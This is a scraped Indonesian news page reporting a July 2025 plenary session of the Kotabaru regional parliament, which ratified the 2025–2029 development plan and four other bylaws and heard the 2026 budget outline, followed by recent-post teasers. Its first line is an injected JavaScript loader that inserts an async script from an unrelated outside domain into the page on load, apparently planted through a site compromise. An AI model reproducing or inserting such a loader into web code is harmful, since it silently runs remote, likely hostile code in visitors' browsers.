(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KOTABARU

DPRD Kotabaru Gelar Rapat Paripurna, Bahas RPJMD dan 4 Raperda Lainnya


KANALKALIMANTAN.COM, KOTABARU – Rapat paripurna membahas sejumlah agenda penting digelar oleh Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kotabaru, Senin (14/7/2025) siang.

Rapat yang dibuka Ketua DPRD Kotabaru, Suwanti tersebut diantaranya membahas pengesahan Raperda tentang Rencana Pembangunan Jangka Menengah Daerah (RPJMD) Kabupaten Kotabaru Tahun 2025 – 2029 menjadi Peraturan Daerah.

Hadir dalam rapat tersebut Wakil Bupati Kotabaru H Syairi Mukhlis, unsur Forkopimda, perwakilan Pengadilan Agama, TNI AU, kepala SKPD, serta insan pers dari media cetak, elektronik.

Baca juga: Bupati Ahmad Rifa’i Hadiri Rapat Paripurna, Ini Tiga Raperda yang Disahkan DPRD Pulang Pisau


Ketua Komisi I DPRD, Sandri Alfandi, membacakan laporan akhir pembahasan, menyampaikan bahwa seluruh materi RPJMD telah disepakati, disesuaikan dengan peraturan perundang-undangan yang berlaku, dan telah melewati perbaikan redaksional serta sinkronisasi antar instansi.

“Tidak terdapat perbedaan prinsip antara DPRD dan Pemerintah Daerah. Raperda ini telah melalui proses yang komprehensif dan layak ditetapkan menjadi Peraturan Daerah,” tegas Sandri.

Pendapat akhir Pemerintah Daerah disampaikan oleh Wabup Kotabaru H Syairi Mukhlis yang menyebut bahwa RPJMD ini merupakan dokumen strategis lima tahunan yang menjadi pedoman arah kebijakan dan prioritas pembangunan daerah.

“RPJMD juga menjadi dasar penyusunan Renstra SKPD, RKPD, hingga rencana pembangunan desa.

Baca juga: Wabup Banjar Hadiri Peringatan Harlah Ke-111 Ponpes Darussalam

Seluruh SKPD kami instruksikan segera menyesuaikan Renstra dan Renja tahun 2026 berdasar dokumen ini,” katanya.

RPJMD 2025–2029 resmi disahkan menjadi Peraturan Daerah dengan nomor 21 Tahun 2025 dari DPRD dan nomor 1 Tahun 2025 dari Pemerintah Kabupaten Kotabaru. Penetapan tersebut ditandai dengan penandatanganan keputusan bersama.

Dalam kesempatan yang sama, DPRD dan Pemerintah Daerah juga menyepakati empat raperda penting lainnya.

Empat raperda itu, yaitu Raperda tentang Perubahan APBD Tahun Anggaran 2025, Raperda tentang Penyelenggaraan Kepariwisataan, Raperda tentang Penyelenggaraan Kesehatan dan Raperda tentang Fasilitasi Perlindungan Kekayaan Intelektual.

Baca juga: Bupati Pulang Pisau Hadiri Sunatan massal di Maliku Baru dan Tahai Jaya

Bupati Kotabaru HM Rusli dalam mengapresiasi sinergi DPRD dan seluruh pihak yang terlibat dalam proses pembahasan empat raperda tersebut.

Ia menegaskan pentingnya segera menindaklanjuti pengesahan perda dengan penyusunan peraturan pelaksana dan sosialisasi oleh SKPD terkait.

“Perda-perda ini menjadi fondasi penting untuk mempercepat pelayanan publik, penguatan sektor kepariwisataan, kesehatan, dan perlindungan kekayaan intelektual masyarakat,” ujar dia.

Bupati Kotabaru juga menyampaikan Rancangan Kebijakan Umum Anggaran (KUA) dan Prioritas Plafon Anggaran Sementara (PPAS) Tahun Anggaran 2026.

Baca juga: Hati-hati Pola Hidup Serba Instant, Dinkes Banjarbaru Ajak Deteksi Dini Penyakit Tidak Menular

Ia menyebut, penyusunan dokumen ini diselaraskan dengan RPJMD 2025–2029 dan dokumen perencanaan strategis lainnya seperti RPJPD 2025–2045 dan revisi RTRW.

Target pendapatan daerah tahun 2026 ditetapkan sebesar Rp 4,51 triliun, dengan belanja daerah sebesar Rp 4,80 triliun. Defisit direncanakan ditutup dari SILPA tahun sebelumnya sebesar Rp 300 miliar, serta pengeluaran pembiayaan sebesar Rp 6,5 miliar untuk tambahan penyertaan modal di Bank BPR Kotabaru.

Tema pembangunan tahun 2026 adalah

“Peningkatan Kualitas Sumber Daya Manusia untuk Menunjang Penguatan Ekonomi dan Pembangunan Infrastruktur yang Berkelanjutan.” Fokus diarahkan pada pengembangan ekonomi agromaritim, investasi ramah lingkungan, penguatan UMKM, pemerataan infrastruktur, dan layanan dasar.

Bupati juga menegaskan bahwa prioritas pembangunan daerah mencakup peningkatan kualitas SDM, pengentasan kemiskinan, dan pembangunan berwawasan lingkungan.

Di akhir rapat, Ketua DPRD Hj. Suwanti turut menyampaikan selamat atas pelantikan H Eka Safrudin sebagai Sekretaris Daerah definitif Kabupaten Kotabaru.

Ia berharap kepercayaan ini menjadi motivasi untuk mendukung visi-misi bupati dan memperkuat pelayanan publik di daerah. (kanalkalimantan.com/dkispkotabaru/kk)

Reporter: kk
Editor: Dhani


Muhammad Andi

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

9 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

9 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

9 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

12 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

18 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.